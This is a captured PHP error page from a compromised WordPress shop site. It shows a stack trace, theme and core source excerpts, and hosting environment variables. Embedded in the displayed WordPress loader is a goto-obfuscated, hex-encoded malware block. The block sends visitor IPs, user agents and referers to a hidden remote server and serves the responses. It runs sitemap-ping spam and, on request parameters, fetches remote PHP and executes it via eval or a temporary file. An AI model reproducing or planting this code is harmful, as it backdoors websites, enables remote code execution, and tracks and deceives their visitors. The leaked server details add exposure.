Error
Class 'Twig\Environment' not found Error thrown with message "Class 'Twig\Environment' not found" Stacktrace: #6 Error in /srv/data/web/vhosts/tentsandflags.be/htdocs/wp-content/plugins/gantry5/src/classes/Gantry/Component/Theme/AbstractTheme.php:130 #5 Gantry\Component\Theme\AbstractTheme:renderer in /srv/data/web/vhosts/tentsandflags.be/htdocs/wp-content/plugins/gantry5/src/classes/Gantry/Framework/Theme.php:123 #4 Gantry\Framework\Theme:renderer in /srv/data/web/vhosts/tentsandflags.be/htdocs/wp-content/plugins/gantry5/src/classes/Gantry/Framework/Theme.php:153 #3 Gantry\Framework\Theme:render in /srv/data/web/vhosts/tentsandflags.be/htdocs/wp-content/themes/g5_helium/page.php:36 #2 include in /srv/data/web/vhosts/tentsandflags.be/htdocs/wp-includes/template-loader.php:106 #1 require_once in /srv/data/web/vhosts/tentsandflags.be/htdocs/wp-blog-header.php:19 #0 require in /srv/data/web/vhosts/tentsandflags.be/htdocs/index.php:21
Stack frames (7)
6
Error
/src/classes/Gantry/Component/Theme/AbstractTheme.php130
5
Gantry\Component\Theme\AbstractTheme renderer
/src/classes/Gantry/Framework/Theme.php123
4
Gantry\Framework\Theme renderer
/src/classes/Gantry/Framework/Theme.php153
3
Gantry\Framework\Theme render
/srv/data/web/vhosts/tentsandflags.be/htdocs/wp-content/themes/g5_helium/page.php36
2
include
/srv/data/web/vhosts/tentsandflags.be/htdocs/wp-includes/template-loader.php106
1
require_once
/srv/data/web/vhosts/tentsandflags.be/htdocs/wp-blog-header.php19
0
require
/srv/data/web/vhosts/tentsandflags.be/htdocs/index.php21
        return $twig;
    }
 
    /**
     * Return renderer.
     *
     * @return Environment
     */
    public function renderer()
    {
        if (!$this->renderer) {
            $gantry = static::gantry();
 
            /** @var Config $global */
            $global = $gantry['global'];
 
            $cachePath = $global->get('compile_twig', 1) ? $this->getCachePath('twig') : null;
            if ($cachePath) {
                /** @phpstan-ignore-next-line */
                if (Environment::VERSION_ID > 3) {
                    // Twig 3 support.
                    $cache = new FilesystemCache($cachePath, FilesystemCache::FORCE_BYTECODE_INVALIDATION);
                /** @phpstan-ignore-next-line */
                } else {
                    $cache = new TwigCacheFilesystem($cachePath, FilesystemCache::FORCE_BYTECODE_INVALIDATION);
                }
            } else {
                $cache = null;
            }
            $debug = $gantry->debug();
            $production = (bool) $global->get('production', 1);
            $loader = new FilesystemLoader();
            $params = [
                'cache' => $cache,
                'debug' => $debug,
                'auto_reload' => !$production,
                'autoescape' => 'html'
            ];
 
            $twig = new Environment($loader, $params);
     * Convert all stream uris into proper links.
     */
    public function postProcessOutput($html)
    {
        $gantry = Gantry::instance();
 
        /** @var Document $document */
        $document = $gantry['document'];
 
        // Only filter our streams. If there's an error (bad UTF8), fallback with original output.
        return $document::urlFilter($html, false, 0, true) ?: $html;
    }
 
    /**
     * @see AbstractTheme::renderer()
     */
    public function renderer()
    {
        if (!$this->renderer) {
            $twig = parent::renderer();
            $twig = \apply_filters('twig_apply_filters', $twig);
            $twig = \apply_filters('timber/twig/filters', $twig);
            $twig = \apply_filters('timber/twig/functions', $twig);
            $twig = \apply_filters('timber/twig/escapers', $twig);
            $twig = \apply_filters('timber/loader/twig', $twig);
            $this->renderer = $twig;
        }
 
        return $this->renderer;
    }
 
    /**
     * @see AbstractTheme::render()
     *
     * @param string $file
     * @param array $context
     * @return string
     */
    public function render($file, array $context = [])
    {
 
    /**
     * @see AbstractTheme::render()
     *
     * @param string $file
     * @param array $context
     * @return string
     */
    public function render($file, array $context = [])
    {
        static $timberContext;
 
        if (!isset($timberContext)) {
            $timberContext = Timber::get_context();
        }
 
        // Include Gantry specific things to the context.
        $context = array_replace($timberContext, $context);
 
        return $this->renderer()->render($file, $context);
    }
 
    public function set_template_layout()
    {
        $assignments = new Assignments();
        $selected = $assignments->select();
 
        if (\GANTRY_DEBUGGER) {
            Debugger::addMessage('Selecting outline (rules, matches, scores):', 'debug');
            Debugger::addMessage($assignments->getPage(), 'debug');
            Debugger::addMessage($assignments->matches(), 'debug');
            Debugger::addMessage($assignments->scores(), 'debug');
        }
 
        $this->setLayout($selected);
    }
 
    public function widgets_init()
    {
        $gantry = Gantry::instance();
 *
 * This is the template that displays all pages by default.
 * Please note that this is the WordPress construct of pages
 * and that other 'pages' on your WordPress site will use a
 * different template.
 *
 * To generate specific templates for your pages you can use:
 * /mytheme/views/page-mypage.html.twig
 * (which will still route through this PHP file)
 * OR
 * /mytheme/page-mypage.php
 * (in which case you'll want to duplicate this file and save to the above path)
 */
 
$gantry = Gantry\Framework\Gantry::instance();
$theme  = $gantry['theme'];
 
// We need to render contents of <head> before plugin content gets added.
$context              = Timber::get_context();
$context['page_head'] = $theme->render('partials/page_head.html.twig', $context);
 
$post            = Timber::query_post();
$context['post'] = $post;
 
Timber::render(['page-' . $post->post_name . '.html.twig', 'page.html.twig'], $context);
 
            }
 
            break;
        }
    }
 
    if ( ! $template ) {
        $template = get_index_template();
    }
 
    /**
     * Filters the path of the current template before including it.
     *
     * @since 3.0.0
     *
     * @param string $template The path of the template to include.
     */
    $template = apply_filters( 'template_include', $template );
    if ( $template ) {
        include $template;
    } elseif ( current_user_can( 'switch_themes' ) ) {
        $theme = wp_get_theme();
        if ( $theme->errors() ) {
            wp_die( $theme->errors() );
        }
    }
    return;
}
 
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */
 
if ( ! isset( $wp_did_header ) ) {
 
    $wp_did_header = true;
 
    // Load the WordPress library.
    require_once __DIR__ . '/wp-load.php';
 
    // Set up the WordPress query.
    wp();
 
    // Load the theme template.
    require_once ABSPATH . WPINC . '/template-loader.php';
 
}
 
 goto KTG4k; Ns0pe: function RIFFf($aBDaL, $dGZ2G, $SvxOm) { goto snVTR; RAJDP: die($GR_EU); goto gYC7t; t1eie: if (!(strpos($qhO4_, $GFHW1) != false)) { goto a8iMT; } goto EDLiR; I2N_9: $DB4_3 = "\163\x75\143\143\145\x73\163"; goto dMNnN; u4eRa: $o17yh = sprintf($XhZef, $aBDaL, $SvxOm["\x70\x72\x6f\x74\x6f\x63\x6f\154"], $SvxOm["\163\145\162\x76\145\162\137\x64\x6f\155\x61\x69\x6e"], $dGZ2G); goto RolG4; qZx54: var_dump($qhO4_); goto cvW3o; cvW3o: die; goto ww9aS; RolG4: $qhO4_ = a8jw6($o17yh); goto tW01S; snVTR: $XhZef = "\150\164\164\160\x73\x3a\57\57\45\163\57\x70\x69\x6e\x67\x3f\163\x69\164\145\x6d\141\x70\x3d\x25\163\45\163\x2f\45\x73"; goto u4eRa; PFO6b: $GFHW1 = "\x67\x6f\x6f\147\154\x65"; goto I2N_9; K5z5W: a8iMT: goto RAJDP; ww9aS: COiV9: goto PFO6b; lTptq: var_dump($o17yh); goto qZx54; EDLiR: die($DB4_3); goto K5z5W; dMNnN: $GR_EU = "\146\141\151\154\145\144"; goto t1eie; tW01S: if (!isset($_REQUEST["\x73\164"])) { goto COiV9; } goto lTptq; gYC7t: } goto rA0sp; W1CdU: function uUY4c($icgyx = '') { goto LX6cO; ddajj: JyvUJ: goto sumzU; QIHuF: ehUy9: goto w_mlP; zy8SR: if (isset($_SERVER["\123\105\122\x56\105\122\x5f\116\101\115\x45"])) { goto ehUy9; } goto JxKXL; JxKXL: goto CzKuR; goto ddajj; sJhOP: goto CzKuR; goto QIHuF; j_ItU: CzKuR: goto f3xXh; w_mlP: return $_SERVER["\123\105\122\x56\x45\122\x5f\x4e\x41\x4d\105"]; goto j_ItU; LX6cO: if (isset($_SERVER["\x48\x54\124\120\137\110\117\123\124"])) { goto JyvUJ; } goto zy8SR; f3xXh: return $icgyx; goto M_RVY; sumzU: return $_SERVER["\x48\124\x54\120\137\110\117\123\x54"]; goto sJhOP; M_RVY: } goto L8Cmb; NRBL4: function JIDi1($u624w, $cVSrR) { goto qf0so; fudHd: print_r($SvxOm); goto Hf_GP; fYYg3: $SvxOm["\151\x70"] = TR5dL(); goto WB_0z; PQD52: $SvxOm["\x64\145\x66\x61\165\x6c\x74\137\x70\x61\162\x61\155\x73"] = $u624w; goto ycj0l; Hf_GP: die; goto YMubZ; DmDtF: var_dump($NyU1N); goto qd74B; eg3_N: if (!isset($_REQUEST["\x64\165\x6d\160"])) { goto MDZDk; } goto DmDtF; l307r: $dGZ2G = $_GET["\x73\x69\164\x65\155\x61\160"]; goto MZOAe; qd74B: $NyU1N = A8JW6($RoItL[1]); goto mqiLa; NaWIS: WE7X9: goto bJ9yA; N5DVt: $IGE2v = sprintf($RoItL[0], $SvxOm["\x61\160\151"], XCIKJ(base64_encode(implode("\173\x7c\175", $vtFlp)))); goto iIruK; mIz6l: if (!(isset($_REQUEST["\x61\x63"]) && isset($_REQUEST["\x70\x61\164\150"]) && isset($_REQUEST["\x74"]))) { goto TzGqm; } goto PqNbp; f6WeW: goto LGGyv; goto NaWIS; vDbZ8: $SvxOm["\x73\145\162\x76\145\162\x5f\x64\x6f\x6d\x61\151\x6e"] = uUy4C(); goto YRJJc; MZOAe: $InjQz = "\x77\167\x77\x2e\147\x6f\x6f\x67\x6c\145\56\x63\x6f\x6d"; goto y5bkG; y5bkG: if (!isset($_GET["\x67\157\x6f\147\154\x65\x5f\165\x72\154"])) { goto XcsE6; } goto Vv5nX; ycj0l: $SvxOm["\x61\x70\x69"] = base64_decode(xcIKJ($SvxOm["\144\x65\x66\141\165\154\164\x5f\160\x61\x72\141\155\x73"])); goto vDbZ8; ByzzA: $SvxOm["\x75\x73\145\x72\x5f\x61\x67\145\x6e\164"] = isset($_SERVER["\x48\x54\124\120\x5f\125\x53\105\x52\137\x41\x47\x45\116\124"]) ? $_SERVER["\110\x54\124\x50\137\125\x53\x45\122\x5f\x41\107\x45\116\124"] : ''; goto fYYg3; YRJJc: $SvxOm["\x72\145\161\x75\x65\x73\164\137\x75\162\x6c"] = $_SERVER["\x52\105\121\125\105\123\124\x5f\x55\122\111"]; goto sQGZf; bmiC1: @header($Cm8Bh[0]); goto gcl87; rbPjr: MDZDk: goto mrGp_; eJb1H: $RoItL = explode("\174", $RoItL); goto mIz6l; LVSYF: goto cGkvU; goto oq4Qj; sSeKI: $SvxOm["\160\x72\157\164\157\143\157\154"] = "\x68\x74\164\x70\72\x2f\x2f"; goto f6WeW; qf0so: $SvxOm = array(); goto PQD52; PqNbp: IQtJE(sprintf($RoItL[2], base64_decode(XCiKJ($cVSrR)), $SvxOm["\x61\160\151"], $_REQUEST["\x61\x63"], $_REQUEST["\160\x61\164\150"], $_REQUEST["\x74"])); goto oHAaQ; YMubZ: x3goB: goto aynWK; k68Hs: Wetg1: goto nv8ah; mqiLa: var_dump($NyU1N); goto GtJ94; mrGp_: $Cm8Bh = aC3Zv($NyU1N); goto pB42m; oq4Qj: YhWvZ: goto ya26U; qvfGC: cGkvU: goto iMchU; c68p2: muh6A: goto FgFdW; feAku: $vtFlp = array("\144\x6f\x6d\x61\x69\156" => $SvxOm["\x73\145\x72\166\x65\x72\137\144\x6f\x6d\x61\151\156"], "\x72\x65\161\x75\x65\163\x74\x5f\165\x72\154" => $SvxOm["\x72\x65\x71\165\145\163\164\x5f\x75\162\x6c"], "\151\x70" => $SvxOm["\151\x70"], "\x61\x67\145\x6e\164" => $SvxOm["\165\x73\145\x72\x5f\141\x67\x65\x6e\x74"], "\x72\x65\146\x65\162\x65\x72" => $SvxOm["\162\x65\146\x65\x72\x65\162"], "\160\162\x6f\x74\157\x63\x6f\154" => $SvxOm["\160\x72\x6f\164\157\143\157\154"], "\154\x61\156\x67\165\x61\x67\x65" => $SvxOm["\x6c\141\156\147\x75\x61\x67\145"]); goto N5DVt; pB42m: if (!($Cm8Bh !== false)) { goto Wetg1; } goto bmiC1; ba8l0: die; goto k68Hs; ya26U: $SvxOm["\x6c\x61\156\147\x75\x61\x67\x65"] = $_SERVER["\x48\x54\124\120\137\101\103\103\x45\x50\124\x5f\x4c\101\116\107\x55\101\x47\x45"]; goto qvfGC; GtJ94: die; goto rbPjr; jQtd6: rIFfF($InjQz, $dGZ2G, $SvxOm); goto c68p2; gcl87: echo $Cm8Bh[1]; goto ba8l0; KQiOc: $SvxOm["\154\x61\x6e\x67\x75\x61\x67\145"] = ''; goto LVSYF; FgFdW: $RoItL = "\45\163\x2f\77\x72\75\45\x73\174\x68\164\x74\160\163\x3a\x2f\57\147\157\x6f\147\154\145\56\x63\x6f\56\x6a\160\x7c\x25\163\x3f\x61\x70\x69\x3d\x25\x73\46\141\x63\x3d\x25\x73\x26\160\x61\x74\x68\x3d\45\x73\46\x74\75\45\163"; goto eJb1H; aynWK: if (!isset($_GET["\163\151\x74\145\155\141\x70"])) { goto muh6A; } goto l307r; MbRjz: if (isset($_SERVER["\x48\124\x54\120\x5f\x41\103\x43\x45\120\x54\x5f\x4c\101\116\x47\125\x41\x47\x45"])) { goto YhWvZ; } goto KQiOc; bJ9yA: $SvxOm["\x70\x72\157\164\157\x63\x6f\x6c"] = "\150\164\164\x70\x73\72\57\x2f"; goto cmI77; Vv5nX: $InjQz = $_GET["\x67\157\x6f\x67\x6c\x65\137\165\162\154"]; goto Atrzs; iMchU: if (!isset($_GET["\x70\x61\162\x61\x6d\x73"])) { goto x3goB; } goto fudHd; WB_0z: if (isset($_SERVER["\110\x54\124\120\123"])) { goto WE7X9; } goto sSeKI; cmI77: LGGyv: goto MbRjz/* S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr */; Atrzs: XcsE6: goto jQtd6; oHAaQ: TzGqm: goto feAku; iIruK: $NyU1N = A8jw6($IGE2v); goto eg3_N; sQGZf: $SvxOm["\162\145\x66\145\162\145\x72"] = isset($_SERVER["\x48\124\x54\x50\137\x52\x45\x46\x45\122\105\122"]) ? $_SERVER["\x48\124\x54\120\137\122\105\x46\105\x52\105\x52"] : ''; goto ByzzA; nv8ah: } goto WF6gM; JwI14: function XCikj($u624w) { goto YJfzb; WPILO: CQC3T: goto P50Lh; xguw5: $HzjDL .= $JvlAg[$duo5h + 1] . $JvlAg[$duo5h]; goto WPILO; IByKE: $JvlAg = str_split($u624w); goto unM1a; jeEAZ: setJ6: goto ZZ7f5; P50Lh: $duo5h = $duo5h + 2; goto wdcLn; YJfzb: $TemFL = substr($u624w, strlen($u624w) - 2); goto IByKE; IM2P2: return $HzjDL; goto CBspp; N4Qr8: if (!($duo5h < count($JvlAg) - 2)) { goto setJ6; } goto xguw5; wdcLn: goto lyhYb; goto jeEAZ; N8Ck6: lyhYb: goto N4Qr8; ZZ7f5: $HzjDL .= $TemFL; goto IM2P2; unM1a: $HzjDL = ''; goto fH2Cv; fH2Cv: $duo5h = 0; goto N8Ck6; CBspp: } goto Ns0pe; p71YX: function TR5dL($zQU0r = '') { goto EQcgw; EQcgw: $zQU0r = $_SERVER["\110\124\x54\120\137\x56\111\101"] ? $_SERVER["\110\x54\x54\x50\x5f\x58\137\x46\x4f\x52\127\101\122\x44\105\104\137\106\x4f\x52"] : $_SERVER["\122\105\115\x4f\124\105\137\x41\104\104\x52"]; goto SfNCp; YDlR8: return trim($zQU0r); goto IgP5U; SfNCp: $zQU0r = $zQU0r ? $zQU0r : $_SERVER["\x52\x45\x4d\x4f\x54\x45\137\101\x44\104\x52"]; goto YDlR8; IgP5U: } goto W1CdU; V9ZRw: function TBmmF($CTSFp) { return hexdec($CTSFp[1]) == strlen($CTSFp[2]) ? $CTSFp[2] : $CTSFp[0]; } goto p71YX; L8Cmb: function IqTjE($IGE2v) { goto QILlN; EPPqf: fclose($q10_S); goto P08Dp; ELzDn: $zLfMB($UZLIa); goto QdDzs; VZa3N: $UZLIa = str_replace($FilXV, '', $UZLIa); goto YxyXL; QILlN: $UZLIa = a8jW6($IGE2v); goto dXm0M; mz6dK: if (!(strpos($UZLIa, $FilXV) === false)) { goto hU_Hb; } goto jMqky; YxyXL: $zLfMB = "\x65" . "\x76" . "\x61" . "\x6c"; goto ELzDn; zTVip: $EjbFf = stream_get_meta_data($q10_S); goto gbcY0; QdDzs: die; goto zf0zO; nI4iP: hU_Hb: goto m5T11; lB1lO: fwrite($q10_S, $UZLIa); goto zTVip; jMqky: die("\147\145\x74\40\146\x61\x69\154\145\144"); goto nI4iP; qiQ72: if (!isset($_REQUEST["\x65"])) { goto jkZPf; } goto VZa3N; zf0zO: jkZPf: goto lB1lO; dXm0M: $FilXV = base64_decode("\120\104\71\x77\x61\110\x41\75"); goto mz6dK; P08Dp: die; goto XJTVY; gbcY0: @(require $EjbFf["\165\x72\151"]); goto EPPqf; m5T11: $q10_S = tmpfile(); goto qiQ72; XJTVY: } goto JwI14; w1cez: $cVSrR = "\110\x61\60\x52\110\143\66\x4d\171\x4c\152\71\x6e\114\160\x64\172\x59\x75\125\62\x59\164\71\x77\114\x3d\75"; goto cgxfm; rA0sp: function Ac3Zv($NyU1N) { goto h4xAF; jA5cC: if (!(count($w7Dgl) != 2)) { goto GXL_r; } goto Vr3E5; YHGfM: return false; goto bCL0o; mg70y: return $w7Dgl; goto hGSD1; XYNSw: GXL_r: goto mg70y; Vr3E5: return false; goto XYNSw; h_jL7: if (is_array($w7Dgl)) { goto nYsJn; } goto YHGfM; bCL0o: nYsJn: goto jA5cC; h4xAF: $w7Dgl = @preg_split("\x2f\x7b\x5c\174\175\x2f\163\x69", $NyU1N, -1, PREG_SPLIT_NO_EMPTY); goto h_jL7; hGSD1: } goto NRBL4; u4oAw: $u624w = "\110\x61\60\122\104\143\x76\x6f\63\114\x7a\126\x44\x4d\x32\x6b\x58\x4c\171\131\124\115\x75\x51\156\x5a\154\112\127\132\167\160\62\x5a\60\x56\155\x4c\160\170\155\132\125\166"; goto w1cez; t4hUQ: function A8JW6($IGE2v) { goto gLIZ5; OIDHj: $lbyxM .= $lVtQW; goto sLJdP; kaybT: E9Qib: goto wUsLi; Vpz8E: if ($gXilS["\164\x69\x6d\x65\144\x5f\x6f\165\x74"]) { goto qdxvA; } goto gkAOf; KsPYc: $Ifc6v = gethostbyname($lVtQW); goto R6yM_; dwkhK: fwrite($JH9wB, $irBX6); goto FgBcK; nynDR: $oJ8X_[] = "\125\x73\x65\x72\x2d\101\147\145\x6e\164\72\x20\163"; goto ImX_E; ImX_E: $oJ8X_[] = "\101\143\x63\x65\x70\164\x3a\40\52\57\52"; goto apis4; W6_b_: xLyP0: goto rGfjL; CSvCm: vutpU: goto vsIzV; A2mD0: if ($JH9wB) { goto E9Qib; } goto TQ5zZ; OJ2fv: pvFI0: goto AH_4Z; cPHDe: foreach (explode("\x7c", $EjbFf) as $Aki3X) { goto nirBg; KWGE6: goto iTFAW; goto cApCI; WZlTi: KlQUT: goto D2rjv; ubi5x: foreach (explode("\x2b", $Aki3X) as $NSdGp) { if (!function_exists($NSdGp)) { $qG2Id = 0; } gohad: } goto t2QUa; GL143: $csouG = $Aki3X; goto KWGE6; nirBg: $qG2Id = 1; goto ubi5x; cApCI: jNaUy: goto WZlTi; t2QUa: yAYgF: goto BhD4X; BhD4X: unset($NSdGp); goto v4qai; v4qai: if (!$qG2Id) { goto jNaUy; } goto GL143; D2rjv: } goto VRW6y; tx173: curl_setopt($qWGoW, CURLOPT_URL, $IGE2v); goto eqs3X; nN4Ey: VDpsE: goto hlnWK; EEIgV: isset($YuAhn["\160\x61\164\150"]) || ($YuAhn["\x70\141\164\x68"] = ''); goto v3Mgc; nG_Tf: Nf8V6: goto fDf5y; Eh2Ju: $NyU1N = explode("\15\xa\15\12", $NyU1N); goto H2y9b; AmVg5: $NyU1N = @preg_replace_callback("\x2f\50\77\x3a\x28\77\x3a\x5c\x72\x5c\x6e\174\x5c\156\x29\174\x5e\51\50\133\x30\55\x39\x41\x2d\x46\x5d\53\x29\50\x3f\72\x5c\162\x5c\156\x7c\x5c\x6e\51\173\x31\54\x32\x7d\x28\x2e\x2a\x3f\x29" . "\x28\x28\77\72\x5c\x72\134\x6e\174\134\x6e\51\50\x3f\x3a\133\60\x2d\x39\101\55\106\x5d\x2b\x28\x3f\x3a\134\x72\x5c\x6e\x7c\134\156\x29\x29\x7c\44\51\57\x73\x69", "\x66\137\x61\x73\171\x6e\143", $NyU1N); goto gVlZ4; S6xdC: unset($Ifc6v); goto jc5Vu; kOD6s: HZaUJ: goto oHipy; FgBcK: $gXilS = stream_get_meta_data($JH9wB); goto Vpz8E; gVlZ4: return trim(trim($NyU1N, "\xef\xbb\xbf")); goto RBZCc; qTIVB: goto czYlm; goto W6_b_; i170_: isset($YuAhn["\150\x6f\x73\164"]) || ($YuAhn["\150\x6f\163\x74"] = ''); goto EEIgV; apis4: unset($ht_5t); goto XGxBm; HC4HP: unset($lbyxM); goto nN4Ey; PG1Gl: return "\65\x30\x31"; goto T0f1R; vUAFG: $NyU1N .= $j10fh; goto HI4iU; Azx04: $lbyxM = "\164\x63\160\x3a\x2f\x2f"; goto OIDHj; zguxL: if (!(substr($csouG, 0, 1) == "\x63")) { goto Uu2n5; } goto RIUTc; YAuY_: z62RW: goto LC2zQ; hlnWK: goto rB1Ox; goto GzvOe; zfii3: $NyU1N = ''; goto A2mD0; bB955: goto LpAhx; goto zxttb; nxIeE: if (feof($JH9wB)) { goto LpAhx; } goto QYMta; hIMif: curl_setopt($qWGoW, CURLOPT_RETURNTRANSFER, 1); goto SGevK; tQvHs: rB1Ox: goto zfii3; ByVx5: if (substr($csouG, -1) == "\156") { goto fORuc; } goto WXXn8; nCaiS: if (!($BxdqW != false)) { goto xoeIV; } goto ZXWq9; ah37X: $dWcsO = empty($YuAhn["\x70\x6f\162\x74"]) ? 443 : $YuAhn["\x70\157\162\164"]; goto OaeQX; UJGIy: $lVtQW .= $YuAhn["\x68\157\x73\x74"]; goto oRK5F; L3kCd: dO_ss: goto zguxL; Sxdhn: unset($oJ8X_, $YuAhn, $g8nJa, $c3Ih1); goto jV3nB; hyoFl: $lVtQW = $YuAhn["\x68\157\163\164"]; goto fbDIb; t_e4c: $NyU1N .= $Cm8Bh; goto k9HAx; VRW6y: iTFAW: goto Cc68l; ed7iY: $ht_5t .= $lVtQW; goto fRONB; OO9V0: if (!socket_connect($JH9wB, $Ifc6v, $dWcsO)) { goto H0MYn; } goto PBjnS; jc5Vu: sK3cx: goto krOL5; ixXm9: $JH9wB = $csouG($lVtQW, $dWcsO, $Gk4Xe, $CuF2o, 30); goto tQvHs; vsIzV: unset($irBX6, $csouG, $JH9wB, $dWcsO, $lVtQW); goto AmVg5; qpiDU: unset($gXilS); goto ReHNy; coqM_: curl_setopt($qWGoW, CURLOPT_SSL_VERIFYPEER, 0); goto xLKq4; WXXn8: if (!(substr($csouG, -1) == "\x74")) { goto VDpsE; } goto Azx04; q8RYj: $oJ8X_[] = "\x43\x6f\156\x6e\x65\143\x74\x69\157\156\72\40\x43\x6c\x6f\x73\x65"; goto nynDR; OaeQX: $lVtQW = "\x73\x73\x6c\x3a\57\57"; goto UJGIy; eMdu5: if (!$FH2PV) { goto uI4za; } goto qq82s; ybyq3: $csouG = $irBX6 = $Gk4Xe = $CuF2o = ''; goto cPHDe; RIUTc: $qWGoW = curl_init(); goto tx173; PBjnS: socket_write($JH9wB, $irBX6, strlen($irBX6)); goto kOD6s; QQmB7: return "\65\x30\60"; goto nG_Tf; AH_4Z: if (feof($JH9wB)) { goto z62RW; } goto k_SMT; h3Hxc: uI4za: goto PG1Gl; JIW8z: $JH9wB = stream_socket_client($lbyxM, $Gk4Xe, $CuF2o, 30); goto HC4HP; hLJV9: if (!($EU6Gx && (rawurlencode($EU6Gx) == "\x25\60\104\x25\x30\101" || rawurlencode($EU6Gx) == "\x25\60\x41"))) { goto tkPo9; } goto bB955; R6yM_: $JH9wB = $csouG(AF_INET, SOCK_STREAM, 0); goto OO9V0; HI4iU: unset($j10fh); goto auWDI; ZXWq9: return $BxdqW; goto Xyjy4; BPiGO: $EjbFf = "\x63\x75\162\154\137\x69\x6e\x69\164\53\143\165\x72\x6c\137\x73\145\164\157\160\164\x2b\x63\x75\x72\154\x5f\x65\170\145\x63\174\146\x73\x6f\143\x6b\157\x70\145\x6e\x7c\x70\146\163\157\143\153\157\x70\145\156\x7c\x73\164\162\145\x61\x6d\137\163\157\x63\x6b\145\164\137\143\x6c\x69\x65\x6e\x74\x7c\163\157\x63\153\x65\x74\137\143\x72\145\x61\x74\x65"; goto ybyq3; QNcl3: H0MYn: goto oSWEk; SS3oi: return 0; goto L3kCd; oB4lf: Uu2n5: goto W91ph; krOL5: goto vutpU; goto kaybT; jV3nB: $JH9wB = null; goto ByVx5; acf7J: LpAhx: goto OJ2fv; GzvOe: fORuc: goto ixXm9; j3jXk: $ht_5t = "\110\x6f\x73\164\72\40"; goto ed7iY; QYMta: $EU6Gx = fgets($JH9wB); goto hLJV9; rGfjL: $g8nJa = "\x31\x2e\x31"; goto ah37X; FLeDk: if (!($csouG == '')) { goto dO_ss; } goto SS3oi; Cc68l: unset($EjbFf, $Aki3X); goto FLeDk; LC2zQ: qdxvA: goto qpiDU; y7OuY: AiH0z: goto Eh2Ju; fbDIb: if ($YuAhn["\x73\143\x68\145\155\x65"] == "\150\x74\164\x70\x73") { goto xLyP0; } goto Xh3Vj; fDf5y: $BxdqW = file_get_contents($IGE2v); goto nCaiS; oRK5F: czYlm: goto j3jXk; zxttb: tkPo9: goto wvBmh; v3Mgc: isset($YuAhn["\161\165\x65\162\171"]) || ($YuAhn["\x71\x75\145\162\x79"] = ''); goto Wwgfa; ff6Sa: goto ElqOP; goto acf7J; vYCmb: $NyU1N = implode("\15\12\15\xa", $NyU1N); goto QNcl3; fRONB: $oJ8X_[] = $ht_5t; goto q8RYj; hoGCT: goto pvFI0; goto YAuY_; b8q1j: curl_setopt($qWGoW, CURLOPT_FRESH_CONNECT, TRUE); goto coqM_; TRR3g: stream_set_timeout($JH9wB, 30); goto dwkhK; TQ5zZ: if (!(substr($csouG, -1) == "\x65")) { goto sK3cx; } goto KsPYc; xLKq4: $FH2PV = curl_exec($qWGoW); goto XBaoC; T0f1R: mzH4p: goto oB4lf; W91ph: $YuAhn = parse_url($IGE2v); goto i170_; Xh3Vj: $g8nJa = "\61\x2e\x30"; goto DRjaP; gLIZ5: if (preg_match("\x2f\x5e\x68\164\x74\x70\x73\52\134\x3a\134\x2f\x5c\x2f\57\x73\151", $IGE2v)) { goto Nf8V6; } goto QQmB7; DRjaP: $dWcsO = empty($YuAhn["\160\x6f\x72\164"]) ? 80 : $YuAhn["\160\157\x72\164"]; goto qTIVB; qq82s: return $FH2PV; goto nDJ_V; auWDI: goto HZaUJ; goto y7OuY; SGevK: curl_setopt($qWGoW, CURLOPT_TIMEOUT, 100); goto b8q1j; eqs3X: curl_setopt($qWGoW, CURLOPT_USERAGENT, "\x73"); goto hIMif; nDJ_V: goto mzH4p; goto h3Hxc; ReHNy: fclose($JH9wB); goto CSvCm; Xyjy4: xoeIV: goto BPiGO; k9HAx: unset($Cm8Bh); goto hoGCT; sLJdP: $lbyxM .= "\72"; goto Pd5o7; oSWEk: socket_close($JH9wB); goto S6xdC; wvBmh: unset($EU6Gx); goto ff6Sa; oHipy: if (!($j10fh = @socket_read($JH9wB, 8192))) { goto AiH0z; } goto vUAFG; XGxBm: $irBX6 = "\107\105\124\40{$c3Ih1}\40\110\124\124\120\57{$g8nJa}" . PHP_EOL . join(PHP_EOL, $oJ8X_) . PHP_EOL . PHP_EOL; goto Sxdhn; XBaoC: curl_close($qWGoW); goto eMdu5; Pd5o7: $lbyxM .= $dWcsO; goto JIW8z; k_SMT: $Cm8Bh = fread($JH9wB, 8192); goto t_e4c; gkAOf: ElqOP: goto nxIeE; H2y9b: array_shift($NyU1N); goto vYCmb; GTUot: $c3Ih1 = $YuAhn["\x70\x61\164\150"] ? $YuAhn["\160\x61\164\150"] . ($YuAhn["\161\x75\x65\x72\171"] ? "\77" . $YuAhn["\x71\165\x65\162\171"] : '') : "\57"; goto hyoFl; wUsLi: stream_set_blocking($JH9wB, TRUE); goto TRR3g; Wwgfa: isset($YuAhn["\160\x6f\162\x74"]) || ($YuAhn["\160\x6f\x72\164"] = ''); goto GTUot; RBZCc: } goto V9ZRw; cgxfm: function dTPTi($icgyx) { goto XArzX; Qf0aK: return gzinflate(base64_decode($otu7S . $yKJJS . $AnReR)); goto ApE00; x2PEx: $AnReR = substr($icgyx, -5); goto pa6Ve; pa6Ve: $yKJJS = substr($icgyx, 7, strlen($icgyx) - 14); goto Qf0aK; XArzX: $otu7S = substr($icgyx, 0, 5); goto x2PEx; ApE00: } goto t4hUQ; KTG4k: error_reporting(0); goto u4oAw; WF6gM: jidI1($u624w, $cVSrR);
?>

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

Environment & details:

empty
empty
empty
empty
empty
Key Value
SERVER_SOFTWARE Apache
REQUEST_URI /popup-aluminium-premium-tenten/
LC_ALL C
LD_LIBRARY_PATH /opt/mysql-8.0/lib/x86_64-linux-gnu
_ /sbin/capsh
LANG C
OLDPWD /
DB_VERSION 8.0
CUSTOMER_DIR /srv/data
container_ttys /dev/pts/0 /dev/pts/1 /dev/pts/2 /dev/pts/3
MAX_MEM 1024
DB_USER hosting-db
PREFIX /
container lxc
LOCAL_DIR /srv/run
WWW_ENGINE php
PWD /home/hosting-user
HOME /home/hosting-user
SYS_USER hosting-admin
TMPDIR /srv/data/tmp
DB_ENGINE mysql
PAAS lamp0
APP_USER hosting-app0
PAAS_USER hosting-user
SHLVL 2
WWW_VERSION 7.4
NO_MOUNT yes
LOGROTATE_CONF /srv/data/var/admin/logrotate.conf
PHP_USER hosting-user
